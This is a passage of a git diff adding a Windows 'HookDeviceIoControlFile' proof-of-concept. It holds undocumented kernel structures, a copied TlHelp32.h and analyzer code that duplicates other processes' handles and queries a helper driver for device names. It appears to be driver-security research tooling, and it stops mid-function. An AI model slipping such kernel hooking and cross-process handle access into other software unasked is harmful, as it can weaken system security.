NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID **ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SpareUl2; + ULONG SpareUl3; + ULONG PeakVirtualSize; + ULONG VirtualSize; + ULONG PageFaultCount; + ULONG PeakWorkingSetSize; + ULONG WorkingSetSize; + ULONG QuotaPeakPagedPoolUsage; + ULONG QuotaPagedPoolUsage; + ULONG QuotaPeakNonPagedPoolUsage; + ULONG QuotaNonPagedPoolUsage; + ULONG PagefileUsage; + ULONG PeakPagefileUsage; + ULONG PrivatePageCount; +} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + LONG BasePriority; + ULONG ContextSwitches; + ULONG ThreadState; + ULONG WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +struct _SYSTEM_THREADS +{ + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientIs; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + ULONG ThreadState; + KWAIT_REASON WaitReason; +}; + +struct _SYSTEM_PROCESSES +{ + ULONG NextEntryDelta; + ULONG ThreadCount; + ULONG Reserved[6]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ProcessName; + KPRIORITY BasePriority; + ULONG ProcessId; + ULONG InheritedFromProcessId; + ULONG HandleCount; + ULONG Reserved2[2]; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; //windows 2000 only + struct _SYSTEM_THREADS Threads[1]; +}; + +typedef struct _HANDLE_TABLE_ENTRY_INFO +{ + ULONG AuditMask; +} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO; + +typedef struct _HANDLE_TABLE_ENTRY +{ + union + { + PVOID Object; + ULONG_PTR ObAttributes; + PHANDLE_TABLE_ENTRY_INFO InfoTable; + ULONG_PTR Value; + }; + union + { + ULONG GrantedAccess; + struct + { + USHORT GrantedAccessIndex; + USHORT CreatorBackTraceIndex; + }; + LONG NextFreeTableEntry; + }; +} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY; + +typedef struct _HANDLE_TABLE +{ + ULONG TableCode; + PEPROCESS QuotaProcess; + PVOID UniqueProcessId; + ULONG HandleTableLock[4]; + LIST_ENTRY HandleTableList; + ULONG HandleContentionEvent; + PVOID DebugInfo; + LONG ExtraInfoPages; + ULONG FirstFree; + ULONG LastFree; + ULONG NextHandleNeedingPool; + LONG HandleCount; + union + { + ULONG Flags; + UCHAR StrictFIFO:1; + }; +} HANDLE_TABLE, *PHANDLE_TABLE; + +typedef struct _OBJECT_TYPE_INITIALIZER { + USHORT Length; + BOOLEAN UseDefaultObject; + BOOLEAN CaseInsensitive; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + BOOLEAN MaintainTypeList; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + + +typedef struct _OBJECT_TYPE { + ERESOURCE Mutex; + LIST_ENTRY TypeList; + UNICODE_STRING Name; // Copy from object header for convenience + PVOID DefaultObject; + ULONG Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER TypeInfo; + ULONG Key; + ERESOURCE ObjectLocks[4]; +} OBJECT_TYPE, *POBJECT_TYPE; + +typedef struct _OBJECT_DIRECTORY { + struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ]; + ULONG Lock; + PVOID DeviceMap; + ULONG SessionId; + USHORT Reserved; + USHORT SymbolicLinkUsageCount; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +/* +typedef enum _KAPC_ENVIRONMENT { + OriginalApcEnvironment, + AttachedApcEnvironment, + CurrentApcEnvironment, + InsertApcEnvironment +} KAPC_ENVIRONMENT; +*/ + +typedef enum +{ + OriginalApcEnvironment, + AttachedApcEnvironment, + CurrentApcEnvironment +} KAPC_ENVIRONMENT; + +//---------------------------------------------------- + +NTSYSAPI +NTSTATUS +NTAPI ZwQuerySystemInformation( + IN ULONG SystemInformationClass, + IN PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength); + + + +NTSTATUS + NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + +NTSTATUS +ZwOpenProcess( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId + ); + +NTSTATUS +PsLookupProcessByProcessId( + IN HANDLE ProcessId, + OUT PEPROCESS *Process + ); + +HANDLE + PsGetProcessId( + IN PEPROCESS Process + ); + +NTSTATUS +RtlFormatCurrentUserKeyPath( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + +VOID KeAttachProcess( PEPROCESS proc ); +VOID KeDetachProcess(); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.sln b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.sln new file mode 100644 index 00000000..09d14f4b --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Studio 2008 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HookDeviceIoControlFile", "HookDeviceIoControlFile\HookDeviceIoControlFile.vcproj", "{04CCC70C-821D-48FA-A6CD-9F0765A2D25C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|Win32.ActiveCfg = Debug|Win32 + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|Win32.Build.0 = Debug|Win32 + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|x64.ActiveCfg = Debug|x64 + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Debug|x64.Build.0 = Debug|x64 + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|Win32.ActiveCfg = Release|Win32 + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|Win32.Build.0 = Release|Win32 + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|x64.ActiveCfg = Release|x64 + {04CCC70C-821D-48FA-A6CD-9F0765A2D25C}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj new file mode 100644 index 00000000..9d629db1 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj @@ -0,0 +1,441 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/TlHelp32.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/TlHelp32.h new file mode 100644 index 00000000..d34cbe2b --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/TlHelp32.h @@ -0,0 +1,316 @@ +/*****************************************************************************\ +* * +* tlhelp32.h - WIN32 tool help functions, types, and definitions * +* * +* Version 1.0 * +* * +* NOTE: windows.h/winbase.h must be #included first * +* * +* Copyright (c) Microsoft Corp. All rights reserved. * +* * +\*****************************************************************************/ + +#ifndef _INC_TOOLHELP32 +#define _INC_TOOLHELP32 + +#if _MSC_VER > 1000 +#pragma once +#endif + +#ifdef __cplusplus +extern "C" { /* Assume C declarations for C++ */ +#endif /* __cplusplus */ + +#define MAX_MODULE_NAME32 255 + +/****** Shapshot function **********************************************/ + +HANDLE +WINAPI +CreateToolhelp32Snapshot( + DWORD dwFlags, + DWORD th32ProcessID + ); + +// +// The th32ProcessID argument is only used if TH32CS_SNAPHEAPLIST or +// TH32CS_SNAPMODULE is specified. th32ProcessID == 0 means the current +// process. +// +// NOTE that all of the snapshots are global except for the heap and module +// lists which are process specific. To enumerate the heap or module +// state for all WIN32 processes call with TH32CS_SNAPALL and the +// current process. Then for each process in the TH32CS_SNAPPROCESS +// list that isn't the current process, do a call with just +// TH32CS_SNAPHEAPLIST and/or TH32CS_SNAPMODULE. +// +// dwFlags +// +#define TH32CS_SNAPHEAPLIST 0x00000001 +#define TH32CS_SNAPPROCESS 0x00000002 +#define TH32CS_SNAPTHREAD 0x00000004 +#define TH32CS_SNAPMODULE 0x00000008 +#define TH32CS_SNAPMODULE32 0x00000010 +#define TH32CS_SNAPALL (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE) +#define TH32CS_INHERIT 0x80000000 +// +// Use CloseHandle to destroy the snapshot +// + +/****** heap walking ***************************************************/ + +typedef struct tagHEAPLIST32 +{ + SIZE_T dwSize; + DWORD th32ProcessID; // owning process + ULONG_PTR th32HeapID; // heap (in owning process's context!) + DWORD dwFlags; +} HEAPLIST32; +typedef HEAPLIST32 * PHEAPLIST32; +typedef HEAPLIST32 * LPHEAPLIST32; +// +// dwFlags +// +#define HF32_DEFAULT 1 // process's default heap +#define HF32_SHARED 2 // is shared heap + +BOOL +WINAPI +Heap32ListFirst( + HANDLE hSnapshot, + LPHEAPLIST32 lphl + ); + +BOOL +WINAPI +Heap32ListNext( + HANDLE hSnapshot, + LPHEAPLIST32 lphl + ); + +typedef struct tagHEAPENTRY32 +{ + SIZE_T dwSize; + HANDLE hHandle; // Handle of this heap block + ULONG_PTR dwAddress; // Linear address of start of block + SIZE_T dwBlockSize; // Size of block in bytes + DWORD dwFlags; + DWORD dwLockCount; + DWORD dwResvd; + DWORD th32ProcessID; // owning process + ULONG_PTR th32HeapID; // heap block is in +} HEAPENTRY32; +typedef HEAPENTRY32 * PHEAPENTRY32; +typedef HEAPENTRY32 * LPHEAPENTRY32; +// +// dwFlags +// +#define LF32_FIXED 0x00000001 +#define LF32_FREE 0x00000002 +#define LF32_MOVEABLE 0x00000004 + +BOOL +WINAPI +Heap32First( + LPHEAPENTRY32 lphe, + DWORD th32ProcessID, + ULONG_PTR th32HeapID + ); + +BOOL +WINAPI +Heap32Next( + LPHEAPENTRY32 lphe + ); + +BOOL +WINAPI +Toolhelp32ReadProcessMemory( + DWORD th32ProcessID, + LPCVOID lpBaseAddress, + LPVOID lpBuffer, + SIZE_T cbRead, + SIZE_T *lpNumberOfBytesRead + ); + +/***** Process walking *************************************************/ + +typedef struct tagPROCESSENTRY32W +{ + DWORD dwSize; + DWORD cntUsage; + DWORD th32ProcessID; // this process + ULONG_PTR th32DefaultHeapID; + DWORD th32ModuleID; // associated exe + DWORD cntThreads; + DWORD th32ParentProcessID; // this process's parent process + LONG pcPriClassBase; // Base priority of process's threads + DWORD dwFlags; + WCHAR szExeFile[MAX_PATH]; // Path +} PROCESSENTRY32W; +typedef PROCESSENTRY32W * PPROCESSENTRY32W; +typedef PROCESSENTRY32W * LPPROCESSENTRY32W; + +BOOL +WINAPI +Process32FirstW( + HANDLE hSnapshot, + LPPROCESSENTRY32W lppe + ); + +BOOL +WINAPI +Process32NextW( + HANDLE hSnapshot, + LPPROCESSENTRY32W lppe + ); + +typedef struct tagPROCESSENTRY32 +{ + DWORD dwSize; + DWORD cntUsage; + DWORD th32ProcessID; // this process + ULONG_PTR th32DefaultHeapID; + DWORD th32ModuleID; // associated exe + DWORD cntThreads; + DWORD th32ParentProcessID; // this process's parent process + LONG pcPriClassBase; // Base priority of process's threads + DWORD dwFlags; + CHAR szExeFile[MAX_PATH]; // Path +} PROCESSENTRY32; +typedef PROCESSENTRY32 * PPROCESSENTRY32; +typedef PROCESSENTRY32 * LPPROCESSENTRY32; + +BOOL +WINAPI +Process32First( + HANDLE hSnapshot, + LPPROCESSENTRY32 lppe + ); + +BOOL +WINAPI +Process32Next( + HANDLE hSnapshot, + LPPROCESSENTRY32 lppe + ); + +#ifdef UNICODE +#define Process32First Process32FirstW +#define Process32Next Process32NextW +#define PROCESSENTRY32 PROCESSENTRY32W +#define PPROCESSENTRY32 PPROCESSENTRY32W +#define LPPROCESSENTRY32 LPPROCESSENTRY32W +#endif // !UNICODE + +/***** Thread walking **************************************************/ + +typedef struct tagTHREADENTRY32 +{ + DWORD dwSize; + DWORD cntUsage; + DWORD th32ThreadID; // this thread + DWORD th32OwnerProcessID; // Process this thread is associated with + LONG tpBasePri; + LONG tpDeltaPri; + DWORD dwFlags; +} THREADENTRY32; +typedef THREADENTRY32 * PTHREADENTRY32; +typedef THREADENTRY32 * LPTHREADENTRY32; + +BOOL +WINAPI +Thread32First( + HANDLE hSnapshot, + LPTHREADENTRY32 lpte + ); + +BOOL +WINAPI +Thread32Next( + HANDLE hSnapshot, + LPTHREADENTRY32 lpte + ); + +/***** Module walking *************************************************/ + +typedef struct tagMODULEENTRY32W +{ + DWORD dwSize; + DWORD th32ModuleID; // This module + DWORD th32ProcessID; // owning process + DWORD GlblcntUsage; // Global usage count on the module + DWORD ProccntUsage; // Module usage count in th32ProcessID's context + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + HMODULE hModule; // The hModule of this module in th32ProcessID's context + WCHAR szModule[MAX_MODULE_NAME32 + 1]; + WCHAR szExePath[MAX_PATH]; +} MODULEENTRY32W; +typedef MODULEENTRY32W * PMODULEENTRY32W; +typedef MODULEENTRY32W * LPMODULEENTRY32W; + +BOOL +WINAPI +Module32FirstW( + HANDLE hSnapshot, + LPMODULEENTRY32W lpme + ); + +BOOL +WINAPI +Module32NextW( + HANDLE hSnapshot, + LPMODULEENTRY32W lpme + ); + + +typedef struct tagMODULEENTRY32 +{ + DWORD dwSize; + DWORD th32ModuleID; // This module + DWORD th32ProcessID; // owning process + DWORD GlblcntUsage; // Global usage count on the module + DWORD ProccntUsage; // Module usage count in th32ProcessID's context + BYTE * modBaseAddr; // Base address of module in th32ProcessID's context + DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr + HMODULE hModule; // The hModule of this module in th32ProcessID's context + char szModule[MAX_MODULE_NAME32 + 1]; + char szExePath[MAX_PATH]; +} MODULEENTRY32; +typedef MODULEENTRY32 * PMODULEENTRY32; +typedef MODULEENTRY32 * LPMODULEENTRY32; + +// +// NOTE CAREFULLY that the modBaseAddr and hModule fields are valid ONLY +// in th32ProcessID's process context. +// + +BOOL +WINAPI +Module32First( + HANDLE hSnapshot, + LPMODULEENTRY32 lpme + ); + +BOOL +WINAPI +Module32Next( + HANDLE hSnapshot, + LPMODULEENTRY32 lpme + ); + +#ifdef UNICODE +#define Module32First Module32FirstW +#define Module32Next Module32NextW +#define MODULEENTRY32 MODULEENTRY32W +#define PMODULEENTRY32 PMODULEENTRY32W +#define LPMODULEENTRY32 LPMODULEENTRY32W +#endif // !UNICODE + + +#ifdef __cplusplus +} +#endif + +#endif // _INC_TOOLHELP32 diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.cpp new file mode 100644 index 00000000..ca7595e1 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.cpp @@ -0,0 +1,1330 @@ +#include "stdafx.h" + +typedef struct _DRVINFO +{ + PVOID Object; + + std::string ObjectName; + std::string FilePath; + + std::string Descr; + std::string Company; + +} DRVINFO, +*PDRVINFO; + +typedef enum _DEVINFO_ACCESS +{ + DevAccessOpenError = 0, + DevAccessEveryone, + DevAccessAuthenticated, + DevAccessRestricted + +} DEVINFO_ACCESS; + +typedef struct _DEVINFO +{ + PVOID Object; + std::string ObjectName; + DEVINFO_ACCESS Access; + +} DEVINFO, +*PDEVINFO; + +typedef struct _PROCESSINFO +{ + DWORD ProcessId; + std::string ProcessName; + +} PROCESSINFO, +*PPROCESSINFO; + +#define DEVINFO_LIST std::map +#define DRVINFO_ENTRY std::pair +#define DRVINFO_LIST std::map +#define CALL_STATS_LIST std::map +#define OPENED_LIST std::map> + +DRVINFO_LIST m_DriversInfo; + +// total number of sniffed IOCTLs for each device and driver +CALL_STATS_LIST m_DeviceCallsCount; +CALL_STATS_LIST m_DriverCallsCount; + +// information about opened devices +OPENED_LIST m_OpenedInfo; +//-------------------------------------------------------------------------------------- +DWORD GetObjectTypeIndex(HANDLE hObject) +{ + DWORD Ret = 0; + + // get list of all handles in system + PSYSTEM_HANDLE_INFORMATION Info = (PSYSTEM_HANDLE_INFORMATION)GetSysInf(SystemHandleInformation); + if (Info) + { + // find our handle in list + for (ULONG i = 0; i < Info->NumberOfHandles; i++) + { + if (Info->Handles[i].UniqueProcessId == (USHORT)GetCurrentProcessId() && + Info->Handles[i].HandleValue == (USHORT)hObject) + { + // return value of object type index + Ret = Info->Handles[i].ObjectTypeIndex; + break; + } + } + + M_FREE(Info); + } + + return Ret; +} +//-------------------------------------------------------------------------------------- +DWORD GetFileObjectTypeIndex(void) +{ + DWORD Ret = 0; + char szSelf[MAX_PATH]; + GetModuleFileNameA(GetModuleHandle(NULL), szSelf, MAX_PATH); + + HANDLE hFile = CreateFileA( + szSelf, + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, + OPEN_EXISTING, + 0, NULL + ); + if (hFile == INVALID_HANDLE_VALUE) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): CreateFile() ERROR %d\n", GetLastError()); + return 0; + } + + Ret = GetObjectTypeIndex(hFile); + + CloseHandle(hFile); + + return Ret; +} +//-------------------------------------------------------------------------------------- +DWORD CollectFileHandles(void) +{ + DWORD dwRet = 0; + DWORD dwTypeIndex = GetFileObjectTypeIndex(); + if (dwTypeIndex == 0) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't query file object type index\n"); + return 0; + } + + // remove old entries + m_OpenedInfo.clear(); + + // get list of all handles in system + PSYSTEM_HANDLE_INFORMATION Info = (PSYSTEM_HANDLE_INFORMATION)GetSysInf(SystemHandleInformation); + if (Info) + { + // find all processes handles + for (ULONG i = 0; i < Info->NumberOfHandles; i++) + { + char szProcessName[MAX_PATH]; + DWORD dwProcessId = (DWORD)Info->Handles[i].UniqueProcessId; + + if (Info->Handles[i].ObjectTypeIndex == (USHORT)dwTypeIndex && + GetProcessNameById(dwProcessId, szProcessName, MAX_PATH)) + { + HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId); + if (hProcess) + { + // duplicate single handle + HANDLE hTarget = NULL; + if (DuplicateHandle( + hProcess, + (HANDLE)Info->Handles[i].HandleValue, + GetCurrentProcess(), + &hTarget, + 0, FALSE, + DUPLICATE_SAME_ACCESS)) + { + REQUEST_BUFFER Request; + ZeroMemory(&Request, sizeof(Request)); + + Request.Code = C_GET_OBJECT_NAME; + Request.ObjectName.hObject = hTarget; + + // get device name by handle + if (DrvDeviceRequest(&Request, sizeof(Request)) && + Request.Status == S_SUCCESS) + { + try + { + std::string ObjectName = std::string(Request.ObjectName.szObjectName); + + if (m_OpenedInfo.find(ObjectName) != m_OpenedInfo.end()) + { + std::list::iterator e = m_OpenedInfo[ObjectName].begin(); + while (e != m_OpenedInfo[ObjectName].end()) + { + if (e->ProcessId == dwProcessId) + { + // this process is allready in list + goto close; + } + + ++e; + } + } + + PROCESSINFO ProcessInfo; + ProcessInfo.ProcessId = dwProcessId; + ProcessInfo.ProcessName = std::string(szProcessName); + m_OpenedInfo[ObjectName].push_back(ProcessInfo); + } + catch (...) + { + + } + + DbgMsg( + __FILE__, __LINE__, "Process=\"%s\" PID=%d Handle=0x%.8x \"%s\"\n", + szProcessName, dwProcessId, (DWORD)Info->Handles[i].HandleValue, + Request.ObjectName.szObjectName + ); + } +close: + CloseHandle(hTarget); + } + else + { + DbgMsg(__FILE__, __LINE__, "DuplicateHandle() ERROR %d\n", GetLastError()); + } + + CloseHandle(hProcess); + } + } + } + + M_FREE(Info); + } + + return dwRet; +} +//-------------------------------------------------------------------------------------- +char *GetNormalizedDriverFilePath(char *lpszPath) +{ + char szSysDir[MAX_PATH], szSysDir_l[MAX_PATH]; + GetSystemDirectoryA(szSysDir, sizeof(szSysDir)); + strcpy(szSysDir_l, szSysDir); + strlwr(szSysDir_l); + + char *s = NULL; + char *lpszSysDirName_l = GetNameFromFullPath(szSysDir_l); + + size_t Path_lSize = strlen(lpszPath) + 1; + char *lpszPath_l = (char *)M_ALLOC(Path_lSize); + if (lpszPath_l) + { + // low-case duplicates of strings need only for matching + strcpy(lpszPath_l, lpszPath); + strlwr(lpszPath_l); + + // normalize module name + if (!strncmp(lpszPath, "\\??\\", 4)) + { + // '\??\C:\WINDOWS\path_to_module' + size_t len = strlen(lpszPath) - 3; + if (s = (char *)M_ALLOC(len)) + { + strcpy(s, lpszPath + 4); + } + } + else if (!strncmp(lpszPath_l, "\\systemroot\\", 12)) + { + // '\SystemRoot\WINDOWS\path_to_module' + char szPath[MAX_PATH]; + GetEnvironmentVariableA("SystemRoot", szPath, MAX_PATH - 1); + + size_t len = strlen(szPath) + strlen(lpszPath + 11) + 1; + if (s = (char *)M_ALLOC(len)) + { + strcpy(s, szPath); + strcat(s, lpszPath + 11); + } + } + else if (GetNameFromFullPath(lpszPath) == lpszPath) + { + // just module name + size_t len = strlen(szSysDir) + strlen(lpszPath) + 0x20; + if (s = (char *)M_ALLOC(len)) + { + strcpy(s, szSysDir); + strcat(s, "\\drivers\\"); + strcat(s, lpszPath); + + // look for this module in drivers directory + if (!IsFileExists(s)) + { + M_FREE(s); + s = NULL; + } + } + } + else if ( + szSysDir[1] == ':' && + !strncmp(lpszPath_l, (char *)szSysDir_l + 2, strlen(szSysDir_l) - 2)) + { + // '\WINDOWS\system32\path_to_module' + size_t len = strlen(lpszPath) + 3; + if (s = (char *)M_ALLOC(len)) + { + strncpy(s, szSysDir, 2); + strcat(s, lpszPath); + } + } + else if ( + szSysDir[1] == ':' && lpszSysDirName_l && + !strncmp(lpszPath_l, lpszSysDirName_l, strlen(lpszSysDirName_l))) + { + // 'system32\path_to_module' + size_t len = strlen(szSysDir) + strlen(lpszPath) + 1; + if (s = (char *)M_ALLOC(len)) + { + strcpy(s, szSysDir); + strcat(s, lpszPath + strlen(lpszSysDirName_l)); + } + } + else + { + // no matches, just return a copy of the source string + size_t len = strlen(lpszPath) + 1; + if (s = (char *)M_ALLOC(len)) + { + strcpy(s, lpszPath); + } + } + + M_FREE(lpszPath_l); + } + + if (s) + { + // expand environment variables + char *lpszExp = NULL; + DWORD ExpLen = ExpandEnvironmentStringsA(s, lpszExp, 0); + if (ExpLen > 0) + { + ExpLen += 2; + if (lpszExp = (char *)M_ALLOC(ExpLen)) + { + if (ExpandEnvironmentStringsA(s, lpszExp, ExpLen) > 0) + { + M_FREE(s); + s = lpszExp; + } + else + { + M_FREE(lpszExp); + } + } + } + + if (!IsFileExists(s)) + { + try + { + std::string newstr = s; + newstr += ".exe"; + + /* + Some user-mode services can have + image file path without extension. + */ + if (IsFileExists((char *)newstr.c_str())) + { + M_FREE(s); + + size_t newlen = strlen(newstr.c_str()) + 1; + if (s = (char *)M_ALLOC(newlen)) + { + strcpy(s, newstr.c_str()); + } + } + } + catch (...) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() Exception\n"); + } + } + } + + return s; +} +//-------------------------------------------------------------------------------------- +BOOL GetDescrAndCompanyInfo(char *lpszFilePath, char **lpszDescr, char **lpszCompany) +{ + DWORD dwHandle = 0; + BOOL bRet = FALSE; + + // query size of versioin info resource + DWORD dwSize = GetFileVersionInfoSizeA(lpszFilePath, &dwHandle); + if (dwSize > 0) + { + PVOID pInfo = M_ALLOC(dwSize); + if (pInfo) + { + ZeroMemory(pInfo, dwSize); + + // load version info resource from the target file + if (GetFileVersionInfoA(lpszFilePath, dwHandle, dwSize, pInfo)) + { + UINT uValueSize = 0; + struct LANG_INFO + { + WORD wLanguage; + WORD wCodePage; + + } *LangInfo = NULL; + + // get languages table + if (VerQueryValue(pInfo, TEXT("\\VarFileInfo\\Translation"), (PVOID *)&LangInfo, &uValueSize)) + { + for (int i = 0; i < uValueSize / sizeof(struct LANG_INFO); i++) + { + char SubName[MAX_PATH], *lpValue = NULL; + + sprintf( + SubName, "\\StringFileInfo\\%04x%04x\\FileDescription", + LangInfo[i].wLanguage, LangInfo[i].wCodePage + ); + + // query file description value + if (lpszDescr && + VerQueryValue(pInfo, SubName, (PVOID *)&lpValue, &uValueSize) && + lpValue) + { + if (*lpszDescr = (char *)M_ALLOC(strlen(lpValue) + 1)) + { + lstrcpyA(*lpszDescr, lpValue); + } + } + + sprintf( + SubName, "\\StringFileInfo\\%04x%04x\\CompanyName", + LangInfo[i].wLanguage, LangInfo[i].wCodePage + ); + + // query file description value + lpValue = NULL; + if (lpszCompany && + VerQueryValue(pInfo, SubName, (PVOID *)&lpValue, &uValueSize) && + lpValue) + { + if (*lpszCompany = (char *)M_ALLOC(strlen(lpValue) + 1)) + { + lstrcpyA(*lpszCompany, lpValue); + } + } + + if (LangInfo[i].wCodePage == 1252) + { + // "ANSI Latin 1; Western European (Windows)" is preffered + break; + } + } + + bRet = TRUE; + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): GetFileVersionInfo() ERROR %d\r\n", GetLastError()); + } + + M_FREE(pInfo); + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): LocalAlloc() ERROR %d\r\n", GetLastError()); + } + } + else + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): GetFileVersionInfo() ERROR %d\r\n", GetLastError()); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOL GetDeviceInfo( + char *lpszDeviceName, + PVOID *pDriverObject, + PVOID *pDeviceObject, + char *lpszDriverObjectName, + char *lpszDriverFilePath) +{ + UCHAR Buff[sizeof(REQUEST_BUFFER) + MAX_PATH]; + PREQUEST_BUFFER Request = 